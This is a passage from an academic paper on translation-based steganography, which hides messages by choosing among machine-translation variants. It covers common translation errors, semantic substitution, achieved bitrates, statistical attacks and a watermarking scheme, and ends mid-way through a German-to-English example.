pencils” in Russian come out as “the pencils are at me” in a word-for-word En-
glish translation. Unnatural constructions based on word-for-word translations
are by far the most noticeable flaw in many of the translations we looked at.
4.4
Blatant Word Choice Errors
Less frequently, a completely unrelated word or phrase is chosen in the transla-
tion. For example, “I’m staying home” and “I am staying home” are both trans-
lated into German by [28] as “Ich bleibe Haupt” (“I’m staying head”) instead of
“Ich bleibe zu Hause”. These are different from semantic errors and reflect some
sort of flaw in the actual engine or its dictionary, clearly impacting translation
quality.
4.5
Context and Semantics
As mentioned previously, the fact that most translation systems do not keep
context makes translation problematic. The Bare Bones Guide to HTML [31] is
a document giving basic web page authoring information. When the simplified
Chinese translation of this document’s entry for an HTML “Menu List” is trans-
lated into English, however, the result is “The vegetable unitarily enumerates”
[33,28]. While one can see that whatever the Chinese phrase for “Menu List” is
might in fact have something to do with a vegetable, the context information
should lead to a choice that does not have to do with food. Similarly, the German
translation ([28]) of“I ran through the woods”gives a translation (“Ich lief durch
das Holz”) that implies running through the substance “wood”, not the “forest”
sense. Without having enough contextual information, either based on statistics
or the preceding verb/preposition combination, the translator is unable to decide
that a forest is more likely to be run through than lumber is, and chooses the
wrong word.
10
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
4.6
Additional Errors
Several other interesting error types were encountered which, for space reasons,
we will only describe briefly.
– In many cases, words that are not in the source dictionary simply go untrans-
lated; for example, an English translation of the registration for a Dutch news
site gives “These can contain no spaties or leestekens” for “Deze mag geen
spaties of leestekens bevatten.”
– Many languages use reflexive verbs to describe certain actions which are not
reflexive in other languages; the reflexive article is often translated regardless
of whether it is needed in the second language (e.g. “Ich kaemme mich”
becomes “I comb myself”).
– Proper names which also translate to common words are sometimes trans-
lated; “Linda es muy Linda” (“Linda is very beautiful”) is translated by [28]
as “It is continguous is very pretty” and “Pretty it is very pretty” by [12].
Moving the name does not always stop it from being translated, even when
capitalized.
– Verb tense is often inexact in translation, as there is often no direct mapping
between verb tenses in different languages.
4.7
Translations between Typologically Dissimilar Languages
Typologically distant languages are languages whose formal structures differ rad-
ically from one another. These structural differences manifest themselves in many
areas (e.g. syntax (phrase and sentence structure), semantics (meaning structure)
and morphology (word structure)). Not surprisingly, because of these differences,
translations between languages that are typologically distant (Chinese and En-
glish, English and Arabic, etc) are frequently so bad as to be incoherent or
unreadable. We did not consider these languages for this work, since the trans-
lation quality is often so poor that exchange of the resulting translations would
likely be implausible.
For example, when translating the “Bare Bones Guide to HTML” page from
Japanese [32] to English, [28] gives“Chasing order, link to the HTML guide whom
it explained and is superior WWW Help Page is reference.” (Note that italicized
portions were already in English on the Japanese page) The original English
from which the Japanese was manually translated reads: “If you’re looking for
more detailed step-by-step information, see my WWW Help Page.” The original
English sentence is provided only for general meaning here, but it is clear that
what is translated into English by the MT system is incomprehensible.
Because many translation systems were originally designed as a rough “first
pass”for human translators who know both languages, it may well be that know-
ing the original language makes it possible to understand what is meant in the
translation; in some sense, translators using such a tool would have to consciously
or unconsciously be aware of the error types generated by the translation tool in
order to produce accurate translations from it. While we did not explore these
Translation-Based Steganography
11
error types for this paper, an area for future improvement would be to look
into the error types in various language pairs by asking bilinguals about the
translations.
5
Implementation
This section describes some of the aspects of the implementation with focus
on the different techniques that are used to obtain variations in the generated
translations.
5.1
Translation Engines
The current implementation uses different translation services that are available
on the Internet to obtain an initial translation. The current implementation
supports three different services, and we plan on adding more in the future.
Adding a new service only requires writing a function that translates a given
sentence from a source language to the target language. Which subset of the
available MT services should be used is up to the user to decide, but at least one
engine must be selected.
A possible problem with selecting multiple different translation engines is
that they might have distinct error characteristics (for example, one engine might
not translate words with contractions). An adversary that is aware of such prob-
lems with a specific machine translation system might find out that half of all
sentences have errors that match those characteristics. Since a normal user is
unlikely to alternate between different translation engines, this would reveal the
presence of a hidden message.
A better alternative is to use the same machine translation software but train
it with different corpora. The specific corpora become part of the secret key used
by the steganographic encoder; this use of a corpus as a key was previously dis-
cussed in another context [4]. As such, the adversary could no longer detect
differences that are the result of a different machine translation algorithm. One
problem with this approach is that acquiring good corpora is expensive. Further-
more, dividing a single corpus to generate multiple smaller corpora will result in
worse translations, which can again lead to suspicious texts. That said, having
full control over the translation engine may also allow for minor variations in
the translation algorithm itself. For example, the GIZA++ system offers mul-
tiple algorithms for computing translations [14]. These algorithms mostly differ
in how translation “candidate outcomes” are generated. Changing these options
can also help to generate multiple translations.
After obtaining one or more translations from the translation engines, the tool
produces additional variations using various post-processing algorithms. Prob-
lems with using multiple engines can be avoided by just using one high-quality
translation engine and relying on the post-processing to generate alternative
translations.
12
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
5.2
Semantic Substitution
Semantic substitution is one highly effective post-pass and has been used in
previous approaches to hide information [4,7]. One key difference from previous
work is that errors arising from semantic substitution are more plausible in
translations compared to semantic substitutions in an ordinary text.
A typical problem with traditional semantic substitution is the need for sub-
stitution lists. A substitution list is a list of tuples consisting of words that are
semantically close enough that subtituting one word for another in an arbitrary
sentence is possible. For traditional semantic substitution, these lists are gen-
erated by hand. An example of a pair of words in a semantic substitution list
would be comfortable and convenient. Not only is constructing substitution
lists by hand tedious, but the lists must also be conservative in what they con-
tain. For example, general substitution lists cannot contain word pairs such as
bright and light since light could have been used in a different sense (meaning
effortless, unexacting or even used as a noun).
Semantic substitution on translations does not have this problem. Using the
original sentence, it is possible to automatically generate semantic substitutions
that can even contain some of the cases mentioned above (which could not be
added to a general monolingual substitution list). The basic idea is to trans-
late back and forth between two languages to find semantically similar words.
Assuming that the translation is accurate, the word in the source language can
help provide the necessary contextual information to limit the substitutions to
words that are semantically close in the current context.
d1
e1
w1
e2
w2
e3
Fig. 2. Example for a translation graph produced by the semantic substitution
discovery algorithm. Here two witnesses (w1 and w2) and the original word d1
confirm the semantic proximity of e1 and e2. There is no witness for e3, making
e3 an unlikely candidate for semantic substitution.
Suppose the source language is German (d) and the target language of the
translation is English (e). The original sentence contains a German word d1
and the translation contains a word e1 which is a translation of d1. The basic
algorithm is the following:
Translation-Based Steganography
13
– Find all other translations of d1, call this set Ed1. Ed1 is the set of candidates
for semantic substitution. Naturally e1 ∈ Ed1.
– Find all translations of e1, call this set De1. This set is called the set of
witnesses.
– For each word e ∈ Ed1 − {e1} find all translations De and count the number
of elements in De ∩ De1. If that number is above a given threshold t, add e
to the list of possible semantic substitutes for e1.
A witness is a word in the source language that also translates to both words
in the target language, thereby confirming the semantic proximity of the two
words. The witness threshold t can be used to trade-off more possible substitu-
tions against a higher potential for inappropriate substitutions.
The threshold does not have to be fixed. A heuristic can be used to increase
the threshold if the number of possible substitutions for a word or in a sentence is
extraordinarily high. Since the number of bits that can be encoded only increases
with log2 n for n possible substitutions we suggest to increase t whenever n is
larger than 8.
Examples: Given the German word “fein” and the English translation “nice”,
the association algorithm run on the LEO (http://dict.leo.org/) dictionary gives
the following semantic substitutions: for three witnesses, only “pretty” is gener-
ated; for two witnesses, “fine” is added; for just one witness, the list grows by
“acute”, “capillary”, “dignified” and “keen”. Without witnesses (direct transla-
tions), the dictionary adds “smooth” and “subtle”. The word-pair “leicht” and
”light” gives “slight” (for three witnesses). However, “licht” and “light” gives
“bright” and “clear”. In both cases the given substitutions match the semantics
of the specific German word.
5.3
Adding plausible mistakes
Another possible post-pass adds mistakes that are commonly made by MT sys-
tems to the translations. The transformations that our implementation can use
are based on the study of MT mistakes from section 4. The current system sup-
ports changing articles and prepositions using hand-crafted, language specific
substitutions that attempt to mimic the likely errors observed.
5.4
Results from the Prototype
Different configurations of the system produce translations of varying quality,
but even quality degradation is not predictable. Sometimes the generated mod-
ifications actually (by coincidence) improve the quality of the translation. For
example, a good translation of the original French sentence “Dans toute la r´e-
gion, la vie est paralys´ee.” into English would be “In the entire region, life is
paralysed.” Google’s translation is “In all the area, the life is paralysed.” wheras
LinguaTec returns“In all of the region the life is crippled.”. Applying article sub-
stitution here can actually improve the translation: one of the choices generated
14
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
by our implementation is “In all of the region, life is crippled.” Even aggressive
settings are still somewhat meaningful: “In all an area, a life is paralysed.”
The following German text is the first part of a paragraph from a review
about a Moroccan film called “Windhorse” [27]:
Der marokkanische Film ”Windhorse”erz¨ahlt die Geschichte zweier, unterschiedlichen
Generationen angeh¨orender M¨anner, die durch Marokko reisen. Auf dem Weg suchen
sie nach dem Einzigen, was ihnen wichtig ist: dem Sinn des Lebens.
Our prototype system gives the following translation:
The Moroccan film ”Windhorse” tells story from men belonging by two, different
generations who travel through Morocco. They are looking for the only one which is
important to them on the way: the sense of a life.
For comparison, the source engine translations are also given:
Google: The Moroccan film ”Windhorse” tells the history of two, different genera-
tions of belonging men, who travel by Morocco. On the way they look for the none one,
which is important to them: the sense of the life.
LinguaTec: The Moroccan film ”Windhorse” tells the story of men belonging to two,
different generations who travel through Morocco. They are looking for the only one
which is important to them on the way: the meaning of the life.
The Babelfish translation is identical to the Google translation except that
“the none one” is replaced by “the only one”. LinguaTec provides some different
syntactic structures and lexical choices, but looks quite similar.
Clearly the addition of more engines would lead to more variety in the LiT
version. Sometimes substitutions lead to quality degradation (“belonging by”
vs. “belonging to”), and sometimes not (“sense of the life” vs. “sense of a life”).
Sometimes the encoding makes the engine choose the better version of a section
of text to modify: “They are looking for the only one” vs. “they look for the none
one”.
The original quality of the translations is not perfect. Furthermore, our ver-
sion contains many of the same“differences”when compared to the source engines
as the source engines have amongst themselves. Many of those differences are
introduced by us (“story from men” vs. “story of men”) as opposed to coming
directly from the source engines. While none of the texts are particularly read-
able, our goal is to plausibly imitate machine-translated text, not to solve the
problem of perfect translation.
The example has most of prototype’s transformations enabled in order to
achieve a higher bitrate. In general, this results in more degradation of the trans-
lation; decreasing the number of transformations might improve the quality, but
would also decrease the bitrate by offering fewer variations. More transforma-
tions and source engines may make the resulting text potentially more likely to
be flagged as suspicious by an adversary. For this example, we achieve a bitrate
of 0.0164 uncompressed and 0.0224 compressed (9.33 bits per sentence); different
hidden texts would, due to the encoding scheme used, achieve different bitrates.
In general, we have found that the prototype gives us average bitrates of between
0.00265 and 0.00641 (uncompressed), and 0.00731 and 0.01671 (compressed), de-
pending upon settings.
Translation-Based Steganography
15
Bitrates and system configuration Figure 3 lists the different configurations
and bitrates that are achieved by our prototype. The data is only intended to give
a rough idea of the bitrates that can be achieved. An improved implementation
using more rules or more translation engines can likely achieve higher bitrates.
Also, it is impossible for us to give a precise metric for the quality of the generated
translations. Still, the Figure can be used to give an impression for the bitrates
that can be achieved with translation-based steganography. In order to allow for
a fair comparison with other steganographic systems that use binary data, such
as images, the bitrate is given for both uncompressed and compressed text.
error- Quality-
bitrate
Id Languages Engines SS-W passes
Limit
ASCII-text compressed
1
DE-EN
1,2
∞
-
0.50
0.00226
0.00621
2
DE-EN
1,2
4
-
0.05
0.00266
0.00731
3
DE-EN
1,2
2
-
0.05
0.00178
0.00492
4
DE-EN
1,2
1
-
0.05
0.00281
0.00776
5
DE-EN
1,2
0
-
0.05
0.00488
0.01306
6
DE-EN
1,2
∞
(1)
0.05
0.00593
0.01585
7
DE-EN
1,2
∞
(2)
0.05
0.00247
0.00687
8
DE-EN
1,2
2
(2)
0.05
0.00283
0.00779
9
DE-EN
1,2
1
(1)(2)
0.00
0.00632
0.01671
10
DE-EN
1,2
0
(1)(2)
0.00
0.00721
0.01907
11
FR-EN
1,2
∞
-
0.50
0.00246
0.00670
12
FR-EN
1,2
4
-
0.05
0.00496
0.01344
13
FR-EN
1,2
2
-
0.05
0.00535
0.01429
14
FR-EN
1,2
1
-
0.05
0.00695
0.01834
15
FR-EN
1,2
0
-
0.05
0.00696
0.01834
16
FR-EN
1,2
∞
(1)
0.05
0.00551
0.01486
17
FR-EN
1,2
∞
(2)
0.05
0.00264
0.00721
18
FR-EN
1,2
2
(2)
0.05
0.00521
0.01401
19
FR-EN
1,2
1
(1)(2)
0.00
0.00818
0.02158
Fig. 3. Bitrates for the different configurations. Engine 1 is Google [16], Engine
2 is Linguatec [19]. SS-W lists the threshold for the number of witnesses in
semantic substitution (∞ for no semantic substitutions). The error-passes are
(1) articles and (2) prepositions. The quality limit is the lower limit for the
relative estimated translation quality (see Section 6.3). The BR columns give
the bitrate for plaintext and compressed text, counting only the size of the
generated translation (excluding the text in the source language).
In order to give an idea of the generated translations for the different settings
(see Figure 3) we give translations for a German sentence (translated to English)
and a French sentence (also translated to English). The original German sen-
tences were“Gleich in den ersten Tagen nach der Katastrophe wies Unicef darauf
16
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
hin, dass die Kinder unter den Opfern des Seebebens am schwersten betroffen
sind. Wir sind heute in einem Maß von einer funktionierenden Infrastruktur ab-
h¨angig, wie es nie zuvor der Fall war.”, which in English would be “Already in
the first days after the disaster, Unicef pointed out that children were hit worst
among the victims of the seaquake. Today, the extent of our dependency on a
working infrastructure is larger than ever.”.
Google [16] translates this sentence as follows: “Directly in the first days
after the disaster Unicef pointed out that the children among the victims of
the sea-quake are most heavily concerned. We depend today in a measure on
a functioning infrastructure, as it was the case never before.”. The Linguatec
engine returns “Is Unicef pointed out after the catastrophe within the first days
that the children are affected most heavily under the victims of the seaquake.
We are dependent in a measure of an operating infrastructure today how it the
case never was before.”
If we add errors with the article substitution (1), we could translations such as
“Directly in the first days after the disaster Unicef pointed out that the children
among the victims of an sea-quake are most heavily concerned. We depend today
in a measure on a functioning infrastructure, as it was an case never before.” For
prepositions, a possible result is “Directly in the first days behind the disaster
Unicef pointed out that the children among the victims of the sea-quake are
most heavily concerned. We depend today in a measure above a functioning
infrastructure, as it was the case never before.”
6
Discussion
This section discusses various attacks on the steganographic encoding and pos-
sible defences against these attacks. The discussion is informal, as the system is
based on MT imperfections that are hard to analyze formally (which is one of
the reasons why MT is such a hard topic).
6.1
Future Machine Translation Systems
A possible problem that the presented steganographic encoding might face in
the future is significant progress in machine translation. If machine translation
were to become substantially more accurate, the possible margin of plausible
mistakes might get smaller. However, one large category of machine translation
errors today results from the lack of context that the machine translator takes
into consideration.
In order to significantly improve existing machine translation systems one
necessary feature would therefore be the preservation of context information
from one sentence to the next. Only with that information will it be possible to
eliminate certain errors. But introducing this context into the machine transla-
tion system also brings new opportunities for hiding messages in translations.
Once machine translation software starts to keep context, it would be possible
for the two parties that use the steganographic protocol to use this context as a
Translation-Based Steganography
17
secret key. By seeding their respective translation engines with k-bits of context
they can make deviations in the translations plausible, forcing the adversary to
potentially try 2k possible contextual inputs in order to even establish the pos-
sibility that the mechanism was used. This is similar to the idea of splitting the
corpus based on a secret key, with the difference that the overall quality of the
per-sentence translations would not be affected.
6.2
Repeated Sentence Problem
A general problem with any approach to hiding messages in the translation is
that if the text in the source language contains the same sentence twice it might
be translated into two different sentences depending on the value of the bit that
was hidden. Since machine translation systems (that do not keep context) would
always produce the same sentence this would allow an attacker to suspect the use
of steganography. The solution to this problem is to not use repeated sentences
in the source text to hide data, and always output the translation that was used
for the first occurence of the sentence.
This attack is similar to an attack in image steganography. If an image is dig-
itally altered, variations in the colors in certain implausible areas of the picture
might reveal the existence of a hidden message. Solving the problem is easier for
text steganography since it is easier to detect that two sentences are identical
than to detect that a series of pixels in an image belong to the same digitally
constructed shape and thus must have the same color.
6.3
Statistical Attacks
Statistical attacks have been extremely successful at defeating steganography of
images, audio and video (see, e.g., [13,20,25]). An adversary may have a sta-
tistical model (e.g. a language model) that translations from all available MT
systems obey. For example, Zipf’s law [21] states that the frequency of a word
is inversely proportional to its rank in the sorted-by-frequency list of all words.
Zipf’s law holds for English, and in fact holds even within individual categories
such as nouns, verbs, adjectives, etc.
Assuming that all plausible translation engines generally obey such a sta-
tistical model, the steganographic encoder must be careful not to cause telltale
deviations from such distributions. Naturally, this is an arms race. Once such a
statistical law is known, it is actually easy to modify the steganographic encoder
to eliminate translations that deviate significantly from the required distribu-
tions. For example, Golle and Farahat [15] point out (in the different context
of encryption) that it is possible to extensively modify a natural language text
without straying noticeably from Zipf’s law. In other words, this is a very man-
ageable difficulty, as long as the steganographic system is made “Zipf-aware”.
We cannot preclude the existence of yet-undiscovered language models for
translations that might be violated by our existing implementation. However,
we expect that discovering and validating such a model is a non-trivial task
for the adversary. On the other hand, given such a model (as we pointed out
18
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
above) it is easy to modify the steganographic system so as to eliminate devi-
ations by avoiding sentences that would be flagged. Section 7 sketches various
statistical models for attacks that might be useful against the existing prototype
implementation.
6.4
Use for Watermarking
The technique of this paper can be used for watermarking, in a manner that
does not require the original text (or any reference translation) for reading the
mark. The idea for not requiring the original in order to recover the message,
which was mentioned in Section 3.3, is now sketched in more detail.
We begin with a fragile version of the scheme. Let the bits of the mark be de-
noted by b1, . . . , bn. Let k ∈ N be a parameter that will be determined later. The
technique consists of using a (secret) random seed s as key for determining those
places where the n bits of the mark will be embedded. Let the random sequence
generated by the seed consist of numbers r1, . . . , rk·n and let the corresponding
places in the text where the bits of the mark will be embedded be p1, . . . , pk·n
(with pi denoting the spot for the i-th bit). Of course pi is determined by ri.
The pi’s are partitioned into groups of size k each. Let the resulting groups
be C1, . . . , Cn (C1 consists of p1, . . . , pk). In what follows Pj will denote the
concatenation of the contents of the k positions pi that are in group Cj (so Pj
changes as the algorithm modifies those k positions – e.g., when the algorithm
replaces “cat” by “feline” that replacement is reflected within Pj). Each Cj is
associated with sj which is defined to be the least significant bit of Hs(Pj)
where Hs is a keyed cryptographic one-way hash function having s as key (recall
that s is the secret seed that determined the ri).
As a result, sj changes with 50% probability as Pj is modified. In order to
embed bj in Cj the algorithm“tortures Cj until it confesses”: Cj is modified until
its sj equals bj. Every one of the k possible changes made within Cj has a 50%
change of producing an sj that equals the target bj, and the probability that we
fail e times is 2−e. A large choice for k will give the algorithm more room for
modifications and thus ensure that the embedding will fail with reasonably low
probability. It is possible to choose a small k and use an error-correcting code in
order to correct bits that could not be embedded properly.
The advantage of the scheme is that the receiver can receive all of the sj from
the seed s without needing the original text or any reference baseline translation
of it: the received message and the seed are all that is required to retrieve the
mark.
More robust versions of the scheme can be obtained by using the techniques
described in [4], which include the use of markers (a marker is a sentence that
merely indicates that the group of contiguous sentences that immediately follow
it are watermark-carrying, so the marker is not itself watermark-carrying). One
of the ways of determining markers is by a secret (because keyed) ordering of the
sentences, the markers being the sentences that are lowest in that secret ordering
– see [4] for details, and for an analysis that quantifies the scheme’s resilience
against different kinds of attacks.
Translation-Based Steganography
19
6.5
Other applications
While we have explored the possibility of using the inherent noise of natural
language translation to hide data, we suspect that there may be other areas
where transformation spaces exist which exhibit a similar lack of rigidity. For
example, compilers doing source translation have a variety of possible output
possibilities that still preserve semantics. Finding a way to hide information with
these possibilities while still mimicking the properties of various optimization and
transformation styles is a possibility for future work.
7
Statistical Attack Vectors
Statistical attacks fall into two categories. The first attacks the translation. The
translation models look at both the source and the target text. The second
category, language models, only look at the generated translations and try to
find inconsistencies within that text, without reference to the original text.
7.1
Translation Models
Word Count The average word count may yield a different ratio between
the source and target languages when steganography is in use. The rationale is
that the steganographic engine will discard words more readily than inserting
them (though, insertion of more words can occur in the current engine through
preposition substitution). An unmodified translation would then yield a higher
ratio of average number of words in the source language to the average number
of words in the target language compared to a text that had information hidden
in it.
Engine Errors Certain engines are given to certain types of errors. If a text
is translated by an engine and has no information hidden in it it should make
the errors characteristic to that engine 100% of the time. Taking the ratio of
the number of errors characteristic to one engine over the number of errors
characteristic to another should always yield a 0 or 1 (tolerance can be allowed in
case the user hand corrected some errors). If the ratio yields something outside
of that tolerance it can be seen that there are a mixture of error types, and
therefore a mixture of engines being used. Automatic classification of engine-
specific errors is likely to be rather difficult. Also, if the translation engines used
by the encoder are unknown to the attacker this attack cannot be used.
7.2
Language Model
Character Count The idea here is quite similar to the previous model. An
untouched translation will yield a lower ratio of average number of characters in
the source language to the average number in the target language. The rationale
here is when substitution occurs the substituted word is more likely to be more
complex and longer than the original translation.
20
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
Nouns Without Articles Since the current steganographic engine discards
articles for nouns on occasion and never inserts new ones (since it does not
have enough semantic knowledge to detect nouns) the total percentage of nouns
without articles should be higher for a text containing hidden information.
Witness Count When a semantic substitution is made by our system the word
that is chosen for replacement is likely to be more specific or complex than the
word that it is replacing. With that in mind the number of witnesses for the
word selected to hide information should ordinarily be lower than the word that
it is replacing. A normal translation should thus yield a higher ratio between
semantic substitution witnesses from the target to the source language than a
translation that contains a hidden message.
8
Conclusion
This paper introduced a new steganographic encoding scheme based on hid-
ing messages in the noise that is inherent to natural language translation. The
steganographic message is hidden in the translation by selecting between multi-
ple translations which are generated by either modifying the translation process
or by post-processing the translated sentences. In order to defeat the system,
an adversary has to demonstrate that the resulting translation is unlikely to
have been generated by any automatic machine translation system. A study of
common mistakes in machine translation was used to come up with plausible
modifications that could be made to the translations. It was demonstrated that
the variations produced by the steganographic encoding are similar to those of
various unmodified machine translation systems, demonstrating that it would be
impractical for an adversary to establish the existence of a hidden message. The
highest bitrate that our prototype could achieve with this new steganographic
encoding is about 0.01671.
Acknowledgements
Portions of this work were supported by Grants IIS-0325345, IIS-0219560, IIS-
0312357, and IIS-0242421 from the National Science Foundation, Contract N00014-
02-1-0364 from the Office of Naval Research, by sponsors of the Center for Ed-
ucation and Research in Information Assurance and Security, and by Purdue
Discovery Park’s e-enterprise Center.
References
1. R. Agrawal, P. Haas, and J. Kiernan. Watermarking relational data: Framework,
algorithms and analysis. The VLDB Journal, 12(2):157–169, 2003.
2. Y. Al-Onaizan, J. Curin, M. Jahr, K. Knight, J. Lafferty, I. D. Melamed, F. J.
Och, D. Purdy, N. A. Smith, and D. Yarowsky. Statistical machine translation,
final report, JHU workshop, 1999.
http://www.clsp.jhu.edu/ws99/projects/
mt/final_report/mt-final-report.ps.
Translation-Based Steganography
21
3. M. Atallah, V. Raskin, M. Crogan, C. Hempelmann, F. Kerschbaum, D. Mohamed,
and S. Naik. Natural language watermarking: Design, analysis, and a proof-of-
concept implementation. In Proceedings of the 4th International Information Hid-
ing Workshop 2001, 2001.
4. M. Atallah, V. Raskin, C. Hempelmann, M. Karahan, R. Sion, and K. Triezenberg.
Natural language watermarking and tamperproofing.
In Proceedings of the 5th
International Information Hiding Workshop 2002, 2002.
5. P. F. Brown, S. A. Della Pietra, V. J. Della Pietra, and R. L. Mercer. The math-
ematics of statistical machine translation: Parameter estimation. Computational
Linguistics, 19(2):263–311, 1993.
6. M. Chapman and G. Davida. Hiding the hidden: A software system for concealing
ciphertext in innocuous text.
In Information and Communications Security —
First International Conference, volume Lecture Notes in Computer Science 1334,
Beijing, China, 11–14 1997.
7. M. Chapman, G. Davida, and M. Rennhard. A practical and effective approach to
large-scale automated linguistic steganography. In Proceedings of the Information
Security Conference (ISC ’01), pages 156–165, Malaga, Spain, 2001.
8. P. R. Clarkson and R. Rosenfeld. Statistical language modeling using the cmu-
cambridge toolkit. In Proceedings of ESCA Eurospeech, 1997.
9. C. Collberg and C. Thomborson. On the limits of software watermarking. Technical
Report 164, Department of Computer Science, The University of Auckland, Private
Bag 92019, Auckland, New Zealand, Aug. 1998.
10. C. Collberg and C. Thomborson. Software watermarking: Models and dynamic
embeddings. In ACM Symp. on Principles of Programming Languages (POPL),
pages 311–324, 1999.
11. C. Collberg and C. Thomborson. Software watermarking: models and dynamic
embeddings. In ACM SIGPLAN–SIGACT POPL’99, San Antonio, Texas, USA,
Jan. 1999.
12. Smart Link Corporation. Promt-online. http://translation2.paralink.com/.
13. J. Fridrich, M. Goljan, and D. Soukal. Higher-Order Statistical Steganalysis of
Palette.
In Proceedings of the SPIE International Conference on Security and
Watermarking of Multimedia Contents, volume 5020, pages 178–190, San Jose,
CA, 21 – 24 January 2003.
14. U. Germann, M. Jahr, D. Marcu, and K. Yamada. Fast decoding and optimal
decoding for machine translation. In Proceedings of the 39th Annual Conference of
the Association for Computational Linguistics (ACL-01), 2001.
15. P. Golle and A. Farahat. Defending email communication against profiling attacks.
In Proceedings of the 2004 ACM workshop on Privacy in the electronic society
(WPES 04), pages 39–40, 2004.
16. Google. Google translation. http://www.google.com/language tools.
17. D. Huffman. A method for the construction of minimum redundancy codes. Pro-
ceedings of the Institute of Radio Engineers, 40:1098–1101, 1951.
18. N. F. Johnson and S. Jajodia.
Steganalysis of images created using current
steganography software. In IHW’98 - Proceedings of the International Informa-
tion hiding Workshop, April 1998.
19. Linguatec. Linguatec translation. http://www.linguatec.de/.
20. S. Lyu and H. Farid. Detecting Hidden Messages using Higher-Order Statistics
and Support Vector Machines.
In Proceedings of the Fifth Information Hiding
Workshop, volume LNCS, 2578, Noordwijkerhout, The Netherlands, October, 2002.
Springer-Verlag.
22
C. Grothoff, K. Grothoff, L. Alkhutova, R. Stutsman, M. Atallah
21. C. D. Manning and H. Schuetze.
Review of Foundations of Statistical Natural
Language Processing. MIT Press, Cambridge, MA, 1999.
22. B. Marx. Friedensverhandlungen brauchen ruhe. Deutsche Welle Online, Jan 2005.
23. F. J. Och and H. Ney. A comparison of alignment models for statistical machine
translation. In COLING00, pages 1086–1090, Saarbr¨ucken, Germany, August 2000.
24. F. J. Och and H. Ney. Improved statistical alignment models. In ACL00, pages
440–447, Hongkong, China, October 2000.
25. A. Pfitzmann and A. Westfeld. Attacks on steganographic systems. In Third In-
formation Hiding Workshop, volume LNCS, 1768, pages 61–76, Dresden, Germany,
1999. Springer-Verlag.
26. R. Sion, M.J. Atallah, and S. Prabhakar. Rights protection for relational data.
IEEE Trans. Knowl. Data Eng., 16(12):1509–1525, 2004.
27. S. Suren. Neue bilder der arabischen jugend. Deutsche Welle Online, March 2005.
28. Systran Language Translation Technologies. Systran. http://systransoft.com/.
29. P. Wayner. Mimic functions. Cryptologia, XVI(3):193–214, 1992.
30. P. Wayner. Disappearing Cryptography: Information Hiding: Steganography and
Watermarking. Morgan Kaufmann, 2nd edition edition, 2002.
31. Kevin
Werbach.
The
bare
bones
guide
to
html.
http://werbach.com/barebones/download.html, 1999.
32. Kevin Werbach and Hisashi Nishimura. The bare bones guide to html (japanese
translation). http://werbach.com/barebones/jp/barebone-j.html.
33. Kevin Werbach and Iap Sin-Guan. The bare bones guide to html (simplified chinese
translation). http://werbach.com/barebones/barebone cn.html.
A
Extended Example
This section gives an extended example for running the tool on the first part of
the Communist Manifesto, translating from German to English with preposition
substitution and semantics substitution with two witnesses. The output text has
the text“Hail, hail”embedded yeilding a bitrate of 0.00262 (0.00656 compressed).
A.1
Source Text
Die Geschichte aller bisherigen Gesellschaft ist die Geschichte von Klassenk¨ampfen.
Freier und Sklave, Patrizier und Plebejer, Baron und Leibeigener, Zunft-
b¨urger und Gesell, kurz, Unterdr¨ucker und Unterdr¨uckte standen in stetem
Gegensatz zueinander, f¨uhrten einen ununterbrochenen, bald versteckten, bald
offenen Kampf, einen Kampf, der jedesmal mit einer revolution¨aren Umgestal-
tung der ganzen Gesellschaft endete oder mit dem gemeinsamen Untergang der
k¨ampfenden Klassen.
In den fr¨uheren Epochen der Geschichte finden wir fast ¨uberall eine voll-
st¨andige Gliederung der Gesellschaft in verschiedene St¨ande, eine mannigfaltige
Abstufung der gesellschaftlichen Stellungen. Im alten Rom haben wir Patrizier,
Ritter, Plebejer, Sklaven; im Mittelalter Feudalherren, Vasallen, Zunftb¨urger,
Gesellen, Leibeigene, und noch dazu in fast jeder dieser Klassen besondere Ab-
stufungen.
Translation-Based Steganography
23
Die aus dem Untergang der feudalen Gesellschaft hervorgegangene moderne
b¨urgerliche Gesellschaft hat die Klassengegens¨atze nicht aufgehoben. Sie hat
nur neue Klassen, neue Bedingungen der Unterdr¨uckung, neue Gestaltungen des
Kampfes an die Stelle der alten gesetzt.
Unsere Epoche, die Epoche der Bourgeoisie, zeichnet sich jedoch dadurch
aus, daß sie die Klassengegens¨atze vereinfacht hat. Die ganze Gesellschaft spaltet
sich mehr und mehr in zwei große feindliche Lager, in zwei große, einander direkt
gegen¨uberstehende Klassen: Bourgeoisie und Proletariat.
Aus den Leibeigenen des Mittelalters gingen die Pfahlb¨urger der ersten St¨adte
hervor; aus dieser Pfahlb¨urgerschaft entwickelten sich die ersten Elemente der
Bourgeoisie.
Die Entdeckung Amerikas, die Umschiffung Afrikas schufen der aufkommenden
Bourgeoisie ein neues Terrain. Der ostindische und chinesische Markt, die Kolonisierung
von Amerika, der Austausch mit den Kolonien, die Vermehrung der Tauschmit-
tel und der Waren ¨uberhaupt gaben dem Handel, der Schiffahrt, der Industrie
einen nie gekannten Aufschwung und damit dem revolution¨aren Element in der
zerfallenden feudalen Gesellschaft eine rasche Entwicklung.
Die bisherige feudale oder z¨unftige Betriebsweise der Industrie reichte nicht
mehr aus f¨ur den mit neuen M¨arkten anwachsenden Bedarf. Die Manufaktur
trat an ihre Stelle. Die Zunftmeister wurden verdr¨angt durch den industriellen
Mittelstand; die Teilung der Arbeit zwischen den verschiedenen Korporationen
verschwand vor der Teilung der Arbeit in der einzelnen Werkstatt selbst.
Aber immer wuchsen die M¨arkte, immer stieg der Bedarf. Auch die Manufak-
tur reichte nicht mehr aus. Da revolutionierte der Dampf und die Maschinerie die
industrielle Produktion. An die Stelle der Manufaktur trat die moderne große
Industrie, an die Stelle des industriellen Mittelstandes traten die industriellen
Million¨are, die Chefs ganzer industrieller Armeen, die modernen Bourgeois.
Die große Industrie hat den Weltmarkt hergestellt, den die Entdeckung Amerikas
vorbereitete. Der Weltmarkt hat dem Handel, der Schiffahrt, den Landkommu-
nikationen eine unermeßliche Entwicklung gegeben. Diese hat wieder auf die
Ausdehnung der Industrie zur¨uckgewirkt, und in demselben Maße, worin In-
dustrie, Handel, Schiffahrt, Eisenbahnen sich ausdehnten, in demselben Maße
